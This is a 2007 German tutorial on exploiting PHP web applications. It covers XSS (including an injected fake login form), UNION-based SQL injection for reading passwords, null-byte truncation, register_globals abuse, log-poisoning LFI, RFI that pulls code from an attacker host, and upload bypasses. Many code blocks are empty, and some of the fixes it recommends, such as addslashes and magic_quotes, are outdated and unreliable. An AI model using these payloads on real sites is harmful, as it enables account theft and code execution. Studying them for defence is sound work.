++++++++++++++++++++++++++++++ ++ www.eddy14.6x.to ++ ++Original Tutorial von Eddy14 am 14.04.2007 ++ ++Das Tutorial darf frei kopiert, und verändert/verbessert werden, solange diese Signatur erhalten bleibt. ++++++++++++++++++++++++++++++ ___________ <<<<|PHP-Vulnz|>>>> ----------- Ich werde euch in diesem Tutorial an paar Basics (vielleicht auch mehr) über das finden und ausnutzen von Lücken in PHP Scripten beibringen/zeigen :) Was ihr können solltet: -php (aber wirklich gut / nicht Anfängermäßig) -(gute) MySQL Kentnisse (Nicht so ein kriemskrams wie "ich weiß was UNION ist") Wie ihr sehen könnt, reicht es nicht einfach irgendwelche "SQL Injection" Papers zu lesen. Ihr müsst euch auch mit MySQL auskennen, sonst bringt das ganze nichts... glaubt mir, ich hab mich auch so getäuscht ;) Wenn es aber hart auf hart kommt, hat man keine Ahnung wie man die Lücke nun ausnutzt. Aber... wieso mach ich noch ein Tutorial, obwohl es schon so viele gibt? Antwort: kp :P Aufjedenfall fand ich (als ich es nötig hatte) keine guten Tutorials. Die meisten haben nichts ausführlich erklärt. Es waren eher sowas wie "du machst ein ' OR 1=1/* dann bist du eingeloggt"-Tuts. Naja, egal jetzt. Fangen wir an =) Der Inhalt: <<>> <<>> <<>> <<>> <<>> <<>> <<>> <<>> ------------------------------------ + Eigenen Server aufsetzen + ------------------------------------ Da hier in diesem Paper viele Sicherheitslücken ein paar Einstellungen in der php.ini benötigen (Wo viele Anbieter "Nein" sagen wenn man sie fragt ob man sie für sich selbst ändern darf [z.B. durch htacces, oder durch PHP Befehle]) die standardmäßig konfiguriert sind (jenachdem) und wir manchmal Änderungen brauchen, sollten wir uns einen eignene Webserver auf dem Rechner installieren. Unter Linux empfehle ich "Xampp", obwohl das auch auf Windows läuft. Auf Windows empfehle ich aber "netserver". Google hilft =) Nach der Installation einfach alles Starten lassen. Öffnet das jeweilige Programm (D:\netserver\netserver.exe oder für XAMPP "/opt/lampp/lampp start") (MySQL, PHP, Apache usw.) Erstellt irgendeine Datei in das htdocs/www Verzeichnis (netserver z.B D:\netserver\www\ und Xampp z.B. /opt/lampp/htdocs/) mit dem folgenden inhalt: ----------------------- ----------------------- Führt das Script aus; Schaut nun hier nach, wo die php.ini gelagert ist und dort könnt ihr Einstellungen vornehmen. Wir werden für die hier aufgeführten Beispiele folgende Einstellungen brauchen: ----------------------- allow_url_fopen = ON magic_quotes_gpc = OFF register_globals = ON ----------------------- Das wäre es nun dazu :) ------------------------------------ + XSS / HTML Injection + ------------------------------------ XSS ist die wohl am häufigsten gefundene Lücke. Meistens von Skiddies ... die aber auch häufig nicht wissen (mal ausgenommen davon, dass sie nicht wissen, wieso es überhaupt funktioniert ;D) was man eigentlich so alles per XSS kann. Aber dies soll sich mit diesem Tutorial hier ändern. Bei XSS (Cross Site Scripting) handelt sich um das einschleusen von HTML/Javascript Code. Was kann man denn viel mit HTML und Javascript erreichen? Per Javascript könnten wir z.B. Cookies klauen falls diese Interessant für uns sind. Per HTML könnte man Leuten eine Phishing Seite vorgaukeln. Es ist also eigentlich viel schönes möglich ;) Schauen wir uns vorerst ein Beispiel an: --------------------------- --------------------------- Hier wird einfach nur der folgende Text ausgegeben: "Dies ist ein Text.". Wie ihr wissen solltet kann man diesen noch schön für den Browser formatieren. ---------------------------------- Dies ist ein Text."; ?> ---------------------------------- Dieses beispiel würde den Text dick schreiben ... da wir HTML Code benutzen, welches der Browser anzeigen kann :P --------------------------------------------- alert('halli hallo')"; ?> --------------------------------------------- Dieses würde eine JavaScript Meldung mit "halli hallo" anzeigen. Ihr seht, jede veränderung ist möglich, solange der Browser mitspielt. ---------------------------------------- ---------------------------------------- Das hier erwartet einen Parameter von der URL. Würden wir das Script also wie folgt aufrufen: script.php?name=Kalikula Klummfuß Dann würde das Script folgendes ausgeben: Hallo Kalikula Klummfuß, wie gehts? Wie ihr wisst, geben wir echo nur einen String mit, der Browser wandelt es erst zum "lesbaren" Format um (ich meine nun die HTML-Tags, javascript usw.) Wir könnten also sowas machen: script.php?name=Test Würde ausgeben: Hallo Test, wie gehts? Aber es wäre hierbei das "Test" dick geschrieben. Versteht ihr? Wir können ganz normal formatieren als hätten wir den String normal übergeben. Nun wollen wir XSS einschleusen. Aber wie? Naja, ganz einfach. Da ihr ja gesehen habt wie man sogar formatieren kann (also seine eigenen Codes einschleusen kann) könnten wir auch ganz locker leicht JavaScript einbauen :) Lets Go script.php?name= Was passiert? Es erscheint eine Alert Meldung. D.h. wir konnten erfolgreich JavaScript Code einschleusen. Da JavaScript auf Cookies zugriff hat, könnten wir diese auslesen. Man kann natürlich, nur auf die Cookies der jeweiligen Seite zugreiffen. Hat man also ne Lücke in einer Software wie z.B. phpBB dann könnte man dort die Cookies auslesen (soweit diese irgendwie interessant sind). script.php?name= Dieses würde alle Cookies des Dokumentes ausgeben. Bei euch, wird dieses sicherlich leer sein, da wir ja keine Cookies hier verwenden. Ihr wisst nun also, das sich in "document.cookie" die Cookies des jeweiligen Dokumentes befinden ;) Wie können wir XSS verhindern? Es ist eigentlich einfach. Aber bei größeren Scripten, schon eine Schweißaustreibende und nervende Sache. Man muss jede Variable Kontrollieren. Schutz vor XSS hat man, indem man vor jeder Variable ein htmlspecialchars stellt. Dies quotet alle HTML/Javascript zeichen raus. D.h. es ist kein XSS möglich. ----------------------------------------------------------- ----------------------------------------------------------- Probiert es aus. Es wird nichts mehr möglich sein... traurig oder? ;D Ein anderer Schutz ist auch magic_quotes_gpc ON ... diese kann man aber nur in der php.ini einstellen. Bisschen Off Topic: In diesem Paper werde ich für jedes Thema ein paar Übungen und Lösungen einbauen, zum selber rätseln :) Rätsel it ;D 1.) Leite den User auf eine andere Seite per JavaScript 2.) Zeige eine Form an, welches vom User einen Nickname und Passwort verlangt. Nachdem druck auf einen Submit-Button soll der User auf eine Page geleitet werden. Die Lösungen, findet ihr im letzten Kapitel. ------------------------------------ + SQL Injection + ------------------------------------ Tja, zu diesem Thema gibt es sooo viele sooo gute Papers. Ich wills aber trotzdem nicht auslassen ^_^ Es ist nicht viel anders als in XSS ... man Injected einen String ;) ---------------------------------------------------------------- ---------------------------------------------------------------- Dies ist ein handelsübliches News-Script welches eine MySQL abfrage durchführt und das Resultat anzeigt. Ist hier eine SQL Injection? Nein. Wir können hier an dem Script nichts verändern. Aber hier: ----------------------------------------------------------------- ----------------------------------------------------------------- Was hier passiert ist klar zu sehen. Die id befindet sich in der URL. Es wird angenommen das sowas wie "script.php?id=1" in der url steht. So entsteht auch genau das, was der Programmierer wollte. Nämlich, es wird der Eintrag mit der id 1 angezeigt. Wenn man genau nachdenkt, weiß man, dass man mysql_query nur einen String übergeben muss. mysql_query ist es egal was $id ist, es verarbeitet einfach nur den String. Es sieht den String als ganzes. Ihm ist egal ob $id irgendwas besonderes ist, für ihn sieht die Query so aus: SELECT * FROM entries WHERE id='1' angenommen $id wäre 1 ;) Was heißt das für uns? Wir können per URL den String ändern. Und zwar so, wie wir wollen :P Hmmm, was könnten wir also alles anrichten? wir könnte folgendes machen: script.php?id=1' Was macht das? Folgendes: SELECT * FROM entries WHERE id='1'' Seht ihr die 2 ' am ende? Wieso 2? Da das Script von alleine die id='' einfügt. Und wir, haben per URL ein ' eingefügt, haben also 2 ' am Ende. Das würde eine Error Meldung ausgeben (Syntax Error). Wie machen wir das ' am Ende weg? Tja ... da kommen die Kommentare ins Spiel. script.php?id=1'/* Das /* startet einen Kommentar (beendet wird es mit */ ) wie ihr wissen solltet. Alles was dahinter steht wird ignoriert. Genausogut hätten wir in diesem Fall # oder -- benutzen können, da wir nur eine Zeile auskommentieren wollen. Das /* lässt das Kommentar so lange weiterlaufen, bis ein */ es stoppt... da dies aber nicht der fall ist, ist der Rest des Strings auskommentiert. Die Abfrage sieht also wie folgt aus: SELECT * FROM entries WHERE id='1'/*' MySQL würde also denken, das ' am ende ist nur ein Kommentar. Dieses Script macht bis jetzt garnichts. Es würde normal ablaufen, als hätten wir ihm nur "1" mitgegeben. Wir wissen nun aber, das es funktioniert. Jetzt können wir scheisse bauen xD Der beste Freund des SQL Injectors ist der "union" Befehl :P Dieser verbindet 2 SELECT's miteinander. script.php?id=-1' UNION SELECT user_password FROM users WHERE userid=1/* Würde also folgendes ausführen: SELECT * FROM entries WHERE id='-1' UNION SELECT user_password FROM users WHERE userid=1/*' Erklärung: UNION verbindet 2 SELECTS miteinander. Wir machen es also so, das der erste SELECT Befehl nichts zurück liefert ( weil es für uns unwichtig ist) aber dafür der 2te SELECT Befehl. Was haben wir also? Es wird (sozusagen) nur unsere Abfrage durchgeführt, und das Resultat zurück gegeben. Wir könnten damit also das Password auslesen. UNION benötigt aber genau die gleiche Anzahl an Rows wie die erste SELECT Anweisung. Wenn man also nicht weiß wieviele Rows das erste SELECT hat, füllt man die Query mit NULL's solange bis es funktioniert :P Was viele Beispiele zeigen, ist, das man per SQL Injection noch vieles andere machen könnte. Wie z.B. das einschleusen von INSERT oder UPDATE Befehlen. Das stimmt so nicht ganz. mysql_query kann immer nur EINE abfrage durchführen. Normalerweise kann man per ; mehrere Abfragen ausführen. Z.B. SELECT blabla FROM blubb; UPDATE eintrag FROM blubbbb WHERE blubbid = 1; INSERT [.....] usw. Dies kann man aus Sicherheitsgründen mit mysql_query NICHT. Dazu müsste man dann "mysqli_multi_query" verwenden. Also müsst ihr euch immer auf die Syntax korrekt einstellen ... das ist aber auch das Spaßige an der Sache ... oder nicht ? ;D Wie löse ich nun das Problem mit der SQL Injection? Wir müssen alle vom User hinzugefügten ' quoten. D.h. aus allen ' muss ein \' werden. Der Befehl "addslashes" oder die php.ini Einstellung "magic_quotes_gpc" auf ON helfen uns dabei. Ich möchte hier bisschen mehr auf "addslashes" eingehen. Wir müssen jede Variable mit addslashes prüfen, die wir später in mysql_query nutzen wollen. ----------------------------------------------------------------- ----------------------------------------------------------------- Nun ist kein SQL Injection mehr möglich ;) Wenn man aber so einen Eintrag in die MySQL Database macht, dann werden alle ' als \' angezeigt. Was natürlich f*ck ist. Deswegen macht ihr folgendes, kurz vor dem Anzeigen: stripslashes($variable) Dieses, macht das \ wieder von den ' weg :) Ein Tipp von mir noch: Geht es um Zahlen (also z.B. die id), können wir Integer benutzen. Nun kann man auch keine anderen Character als Zahlen nutzen. Dies machen wir mit "intval". Also wie folgt: ----------------------------------------------------------------- ----------------------------------------------------------------- Nun (wie bei den Lösungen oben beschrieben) würde magic_quotes_gpc ON (in den php.ini Einstellungen) und addslashes helfen, SQL-Injections zu verhindern. Stimmts? Nein. magic_quotes und addslashes bringen nicht immer Schutz vor SQL-Injections. Machen wir uns mal Gedanken darüber, wofür wir eigentlich addslashes und magic_quotes brauchen. Wir müssen den vorherigen ' schließen, deswegen fügen wir selbst ein ' hinzu, um dann unseren Befehl hinten reinzuschleusen. Aber was ist, wenn die Abfrage gar kein ' verwendet? Sowas ist möglich und wird oft verwendet (meistens bei Zahlen). ----------------------------------------------------------------- ----------------------------------------------------------------- Es wird hier angenommen das eine Zahl mitgegeben wird, deswegen müssen auch keine Quotes verwendet werden. Und der Programmierer hat sich wohl gedacht, dass addslashes vor jeglicher Art von SQL-Injections schützt. Nein das ist falsch. Die Aufgabe von addslashes ist es (auch) alle Quotes zu slashen, sodass diese "entmächtigt" werden. Aber hier in diesem Fall brauchen wir ja garkeine Quotes id mitgeben ;) Und hier ist der springende Punkt (wollt ich schon immer mal sagen :P) script.php?id=-1' UNION SELECT user_password FROM users WHERE userid=1/* Das haben wir oben genutzt. Dies würde aber eine Error-Meldung MySQL seits ausgeben. Denn, MySQL sieht hier nur ein Quote das sich nicht wieder schließt: SELECT * FROM entries WHERE id=-1' UNION SELECT user_password FROM users WHERE userid=1/* Ihr könnt erkennen, wir brauchen garkeine Quotes, und das heißt, das nicht mal magic_quotes_gpc oder addslashes etwas "schützen" kann :) script.php?id=-1 UNION SELECT user_password FROM users WHERE userid=1/* Wäre nun: SELECT * FROM entries WHERE id=-1 UNION SELECT user_password FROM users WHERE userid=1/* Und wir hätten erfolgreich injiziert :) Um diese Sicherheitslücke zu stopfen, muss man lediglich ALLE Werte/Texte/Zahlen in MySQL Abfragen in Quotes setzen. Ganz einfach =) (Obwohl man sich bei "intval()" keine Sorgen machen sollte, trotzdem auf Nummer sicher gehen)orgen machen sollte, trotzdem auf Nummer sicher gehen) Rätsel it ;D 1.) Wie würde man folgende Abfrage injecten? ------------------------------------------------------------------ ------------------------------------------------------------------ 2.) Wie könnte man folgendes umgehen ? ------------------------------------------------------------------ ------------------------------------------------------------------ ------------------------------------ + Der NULL Charakter + ------------------------------------ Ganz Grob: Der NULL Character Terminiert einen String. Dieser Character sollte allen C Programmierern bekannt sein. Schauen wir uns folgendes Beispiel an (ACHTUNG! C Kentnisse sind gefragt ... falls ihr dies nicht versteht ... egal, ihr werdet es auch so verstehen ;) ---------------------------------- #include int main() { printf("Hallo \0 wie gehts?"); return 0; } --------------------------------- Das eigentlich wichtige an diesem Code ist, die "printf" zeile. Diese gibt nämlich etwas aus. So manch einer wird denken, es gibt folgendes aus: Hallo \0 wie gehts? Dies stimmt aber nicht. Das \0 sagt aus, das ab hier unser String zu Ende ist. Es wird also nur Hallo ausgegeben. Der Rest ist einfach weg. Nun, da PHP in C programmiert ist existiert auch in PHP dieses "NULL"! Zwar sind nicht alle Funktionen betroffen davon, aber viele interessante =) In php wird dieser Character als "%00" benutzt. Eigentlich in HTML/HTTP. Wieso? Na weil das so definiert ist! Ein normaler Character wie z.B. eine Leerzeile könnte HTTP verwirren, weil es halt seine Argumente mit einem Leerzeichen trennt. Andere Zeichen könnten auch Sonder-Bedeutungen haben, also hat man sich geeinigt solche Character zu "escapen". Und zwar nimmt man ein Prozent-Zeichen "%" und in Hexadezimaler Form den ASCII-Wert des zu Darstellenden Characters. Klingt kompliziert, ist aber einfach. Ein Leerzeichen ist z.B. der ASCII (Hier eine ASCII Tabelle: http://www.physik.fu-berlin.de/~goerz/misc/ascii.gif) Wert 32. Und die 32 ist in HEX die "20". Also ergibt sich: "%20". Dies werdet ihr in euren URLs _sehr_ häufig sehen. Dann wisst ihr nun also auch wie sich solche Character "chiffrieren". Deswegen nehmen wir "%00", weil wir damit sagen: "Nimm den 0ten Character aus der ASCII-Tabelle", und der Nullte ist halt der NULL-Character, welches als String-Terminierend festgelegt ist. Das wäre nun dazu =) Und, wie löse ich das Problem in PHP? Einfach die %00 escapen lassen. Dies macht entweder htmlspecialchars oder (soweit ich weiß) auch addslashes. Rätsel it ;D 1.) Injecten sie dieses Stück Code, mit dem NULL Character ---------------------- ---------------------- ------------------------------------ + Globale Variablen + ------------------------------------ Früher war es so, das sich kein PHP Coder Gedanken über $_GET machen musste. Denn die Variablen im Script wurden direkt der $_GET variable angepasst. Dies liegt an dem php.ini Eintrag "register_globals". Ist dieser Eintrag auf ON (also angeschaltet) dann wird jede globale Variable direkt von der URL übernommen. Was damals noch keiner Bedacht hatte, hat heute fatale Folgen. Meistens wird viel Code in seperate Dateien aufgeteilt. Diese werden dann später per "include" eingebunden. Da die eingebundenen Dateien alle variablen vom Includenden Script erben, hatte noch keiner an ein Problem gedacht. Versuchen sie dies mit register_globals ON : --------------------- --------------------- Das script führen sie nun wie folgt aus: script.php?variable=test Es müsste folgendes ausgegeben werden: Sie gaben ein: test Versuchen sie das gleiche mit der register_globals OFF Einstellung. Es wird nicht funktionieren. Die PHP Coder hatten es früher also einfacher ... heutzutage ist register_globals standardmäßig auf OFF. Wie schon erwähnt, wegen Sicherheitsproblemen. Aber... was sind nun diese Sicherheitsprobleme? Nehmen wir also an, diese Datei included eine Andere: "erstedatei.php": --------------------------- --------------------------- "zweitedatei.php": --------------------------- --------------------------- Würdet ihr diese Dateien speichern, und die erstedatei.php ausführen, würde Sie sind nicht berechtigt diese Seite zu betreten! erscheinen, und Schluss wäre damit. Wir wissen nun, dass wir, wenn register_globals ON ist, die Variablen verändern können. Bei der "erstedatei.php" würde es nichts nützen... denn während der ausführung wird "$admin" ja geändert.. nämlich zu "false". Aber keiner denkt an "zweitedatei.php", da die Coder des Scripts denken "die zweitedatei.php wird von erstedatei.php included, also erbt es die Variablen. Es ist also nicht möglich das $admin anders ist, als in erstedatei.php gegeben." Naja ... die Coder schließen aus das wir "zweitedatei.php" direkt aufrufen können, ohne "erstedatei.php" auszuführen. AHA! Und da ist auch der Punkt! Denn hier ist die $admin Variable nicht vorher gegeben. Wir können es also per URL ändern und somit Access bekommen =) zweitedatei.php?admin=true Wir setzen admin auf true, es würde also: Eintritt genehmigt! Sie dürfen PHP-Code ausführen! angezeigt werden, und wir könnten also Admin Fähigkeiten erlangen (in diesem Beispiel können wir per $_GET['exec'] beliebigen PHP-Code ausführen). Wie löse ich das Problem? Entweder register_globals in der php.ini auf OFF stellen, oder: Ich habe mir ein Beispiel an großen Scripten wie phpBB genommen. Diese verwenden Konstanten. "erstedatei.php": ---------------------------- ---------------------------- "zweitedatei.php" --------------------------- --------------------------- Wir haben hier eine Konstante in "erstedatei.php" erstellt ... diese kann nicht verändert werden ... es ist also KONSTANT. In "zweitedatei.php" schauen wir nun, ob die KONSTANTE existiert (definiert ist) ... falls nicht, wird die Ausführung abgebrochen. Rätsel it ;D 1.) Bekommen sie Admin Access! "eins.php" ----------------- ----------------- "kontrolle.php": ----------------- ----------------- ------------------------------------ + RFI / LFI + ------------------------------------ RFI steht für Remote File Inclusion, und LFI für Local File Inclusion. Wie sich an den Namen ablesen lässt ist das eine Remote (also Fern) und das andere Local (öhm.. also lokal xD). Doch was ist das genau? Jeder PHP Coder kennt den "include" Befehl, mitdem man PHP Code einbinden kann. Ein Angreiffer kann dies aber nutzen, um seine eigenen Befehle einzubinden ... Wie? Das wirst du erfahren. Vorerst bisschen Theorie. Der Befehl "include" öffnet, sozusagen, die Datei die du ihm gegeben hast, liest den Inhalt heraus und führt es aus. Man muss also keine .php Dateien includen. Es könnten genauso gut .txt, .bla, .e14 Dateien usw. sein. Include will nur den Inhalt der Datei. Probiert es aus, schreibt in irgendeine Datei blödsinn und included es ... falls es für php eine gültige php datei ist, wirds ausgeführt, erkennt es den inhalt nicht, wird der inhalt einfach ausgegeben ;) Genug gequaselt, los gehts mit LFI. Local File Inclusion. ------------------- ------------------- Der Coder hat sich hierbei sicherlich gedacht "In der URL steht dann eine Datei, die dann included wird." So wäre also ein normaler Link script.php?file=about dachte er sich. Das würde also folgendes includen ordner/scr_about.inc und ausführen. Doch wie genau können wir dies ausnutzen? Der Coder war sich sicher, das die Datei _immer_ in diesem ordner, und mit dem scr_ anhang UND der .inc endung bleiben wird. Doch dies ist falsch! Was wäre, wenn wir folgendes machen: script.php?file=/noch/ein/ordner/about Das würde folgendes includen: ordner/scr_/noch/ein/ordner/about.inc Somit sind wir ein paar Ordner nach vorne gegangen. Wir können auch Order zurück gehen. Wer ein bisschen Ahnung von Unix hat (oder DOS), kennt "../". Denn hiermit sagt man bescheid, das man einen Order zurück gehen möchte. script.php?file=/../eine_andere_datei Das würde: ordner/../eine_andere_datei.inc Also: eine_andere_datei.inc includen. Es ist nämlich einen Ordner zurück gegangen. Hmmm, aber dieses dämliche .inc ... was wenn wir eine andere datei, als .inc wollen ... z.B. .php? Wenn ihr euch erinnert ... ihr habt oben (das nehme ich mal an) den Kapitel "Der NULL Character" gelesen. Dieser kann hier zum einsatz kommen :P script.php?file=/../eine_andere_datei.php%00 Für den Server siehts so aus: eine_andere_datei.php%00.inc Also: eine_andere_datei.php So viele Informationen in einem so kurzen Text... das muss erstmal verdaut werden ;) Aber, d.h nun das ihr ein Script auf dem Server haben müsst, das ihr includen könnt ... und ein script auf den Server zu bekommen ist schwer ... und ausserdem... wenn man schon ein script auf den Server bekommt braucht man ja garkeine Lücke mehr xD Naja, es gibt varianten trotzdem Script auf den Server zu kriegen. Es wird z.B. jeder Fehler den man auf einer Page verursacht in einer log datei gespeichert. Man könnte, extra einen Error verursachen. Sagen wir, du besucht eine datei, die es auf dem space nicht gibt. Dann loggt der Server den Error, die Page die du besuchen wolltest usw. Man könnte also, nun extra, anstatt eine Datei im browser anzugeben, ein php Code machen. z.B. http://www.seite.de/ Dies würde einen 404 Error verursachen, da der Server versucht die datei "" zu finden. Dank diesem Error wird das nun geloggt. Aber leider, wird dein Browser es dir encoden. D.h. es ist nicht mehr ausführbar ... dafür müsstest du dir schon so eine Art browser bauen, der nur eine Abfrage verschickt, ohne den String zu encoden ;) Wir könnten also nun, mit der LFI Lücke, diese Datei includen. Die Log Datei nennt sich "error.log" oder "access.log" und befindet sich im /apache/logs/ Ordner. Zugang zu diesem Ordner hat eigentlich nur der Admin des Servers ... daher ist es auch f*ck Glückssache so eine Lücke ausnutzen zu können. Noch eine Methode wäre ... Wenn man auf der Page z.B. bild dateien hochladen kann ... dann speichert man seinen Code als .jpg (oder was auch immer) ab, und ladet es auf der page hoch. Zwar wird das Bild nicht angezeigt, aber es befindet sich auf dem Server. Wir können nun mit dieser Lücke das Bild aufrufen und der Code wird ausgeführt ;) Ihr könnt sehen .. es gibt viele Variante, eine Lücke effektiv auszunutzen. Kommen wir aber nun langsam zum RFI. RFI RFI (Remote File Inclusion) ist eigentlich das Selbe wie LFI. Bei RFI wird aber eine Datei, auf einem weit entfernten Server included. Möglich ist dies nur, wenn in der php.ini allow_url_fopen auf ON gestellt ist ;) Nehmen wir mal an es ist so... und schauen wir uns folgendes Beispiel an: ------------------ ------------------ Der Coder denkt sich dabei nix böses. Er denkt, die Datei wird halt einfach included. Sowas wie script.php?file=datei Würde "datei.php" die sich im selben ordner wie "script.php" befindet, einbinden (es ist ein relativer Pfad). Was aber... wenn wir folgendes machen: script.php?file=http://www.boese.de/script.txt Es würde versuchen http://www.boese.de/script.txt.php zu includen. Was fehlt hier? Natürlich, unser NULL Character. script.php?file=http://www.boese.de/script.txt%00 In dieser .txt Datei kann beliebiger Code stehen. PHP wird dies interpretieren, und ausführen :) Da dies aber ein http:// ist, können wir am ende auch anstatt der NULL ein ? verwenden ... dann wir der Rest des String als $_GET gewertet... script.php?file=http://www.boese.de/script.txt? Das Script sieht es folgendermaßen: http://www.boese.de/script.txt?.php Sieht also so aus, als wäre ".php" ein Argument, wie z.B. "file" in diesem Fall -> "script.php?file=". Dies wars auch schon zu RFI und LFI :) Wie löse ich das Problem? Du verwendest erst garnicht solche Variablen. Falls nötig, verwendest du Konstanten. In etwa so: "config.php" -------------- -------------- Alle anderen Scripte includen nun diese Datei. -------------- -------------- Da hier vorher "config.php" included wird, ist MYPATH erreichbar ... Rätsel it ;D 1.) Wie includen sie fremden Code in diese Datei? ------------------- ------------------- 2.) Sie haben folgenden Code ... sie wollen fremden Source einbinden ... "eins.php" ------------------- ------------------- "zwei.php" ------------------- ------------------- ------------------------------------ + Upload Scripts + ------------------------------------ Es gibt wirklich sehr viele Upload Scripte. Und nicht wenige davon sind vulnerable. z.B. Image Upload Scripte müssen nachschauen ob wirklich eine Bild Datei hochgeladen wurde. Aus unwissenheit wird folgendes benutzt: ----------------------------------- ----------------------------------- Tja, wo ist hier der Fehler? Es ist alles schön und gut, wenn man wirklich kein Gif-Bild versendet, erscheint diese Nachricht. Aber ... das ['type'] entscheidet der Browser.... Alles was von dir abhängt, kann geändert werden ;) Wir könnten also unseren Browser manipulieren ... z.B. das es als Type wirklich "image/gif" senden, wir aber eigentlich eine andere Datei hochladen. Fürs "manipulieren" der Abfragen des Browsers empfehle ich euch "Tamper Data" (ein Firefox plugin). Wie umgehe ich das Problem? Verwende folgenden Code (falls die endung immer 3 Zeichen lang ist) ---------------------------------- ---------------------------------- Sorry, bin grad zu faul um über andere Methoden nachzudenken :P Aber, es gibt da noch ein Problem. Und zwar erlauben manche Upload Scripts, das uploaden von ein paar unbekannten Formaten (hab jetzt leider kein Beispiel parat, nehmen wir sowas wie "jpw"). Sagen wir, "jpw" ist irgendein Format von irgendeiner Software. Der Programmierer dachte sich "Dann können die User auch diesen Dateitype hochladen.". Ist schon richtig so ... aber was wenn der Server diesen Dateiformat nicht kennt? Wenn Apache ein Dateiformat nicht kennt, schaut es nach der 2ten Endung nach ... kennt er diese auch nicht wird diese Datei normalerweise als Download angeboten. 2te Endung? Ja, 2te Endung. Dies wäre z.B. "datei.inc.php" die 2te Endung wäre hier ".inc". Nehmen wir also an, Apache kennt "jpw" nicht. Wir könnten also wie folgt eine Datei hochladen: boesesscript.php.jpw Es ist eigentlich ein PHP script, einfach nur mit der endung jpw. Apache schaut sich diese Datei an und weiß nicht was es mit der Endung tun soll. Weil das Vulnerable Script ihm aber sagt, das diese Datei hochgeladen werden soll, tut es dies dann auch. Beim ausführen der hochgeladenen Datei denkt es sich "WTF? Was ist .jpw für ein Format? o_O wie soll ich den f*ck ausführen :-|" Nun schaut es sich aber die andere Endung an, und AHA es weiß nun das es eine PHP datei ist. Die Endung ".jpW" ist ihm also sch*** egal. So konnten wir nun eine php Datei auf den Space laden =) Dies macht Apache immmer, wenn es die Endung nicht kennt .. also immer ausschau halten ;D ------------------------------------ + Lösungen zu den Übungen + ------------------------------------ -XSS / HTML Injection 1.) script.php?name= 2.) Wir müssen einen ganzen HTML Source in die URL packen ;) Und zwar, ungefähr sowas:
Username:

Passwort:

Da wir aber sowas nicht reinpacken können, müssen wir dies, in eine Zeile packen ... eine lange zeile ^^:
Username:

Passwort:

Das würden wir dann wie folgt aufrufen: script.php?name=
Username:

Passwort:

Nun würde es aber sowas ausgeben: Hallo Username: _________________ |________________| Passwort: _________________ |________________| ,Wie gehts Wieso das so ist? Na weil das script von selbst das Hallo, und das "Wie gehts" reinkopiert. Das ",Wie gehts" können wir wegkriegen, aber das Hallo nicht ... dieses müssten wir tarnen. Das "Wie gehts" kriegen wir mit einem Kommentar weg. Den kommentar machen wir nach "" damit wird "Wie gehts" auskommentiert. Das Hallo könnten wir als "Hallo, bitte geben sie die Daten ein:" tarnen. So siehts dann aus: script.php?name=, bitte geben sie die Daten ein:
Username:

Passwort: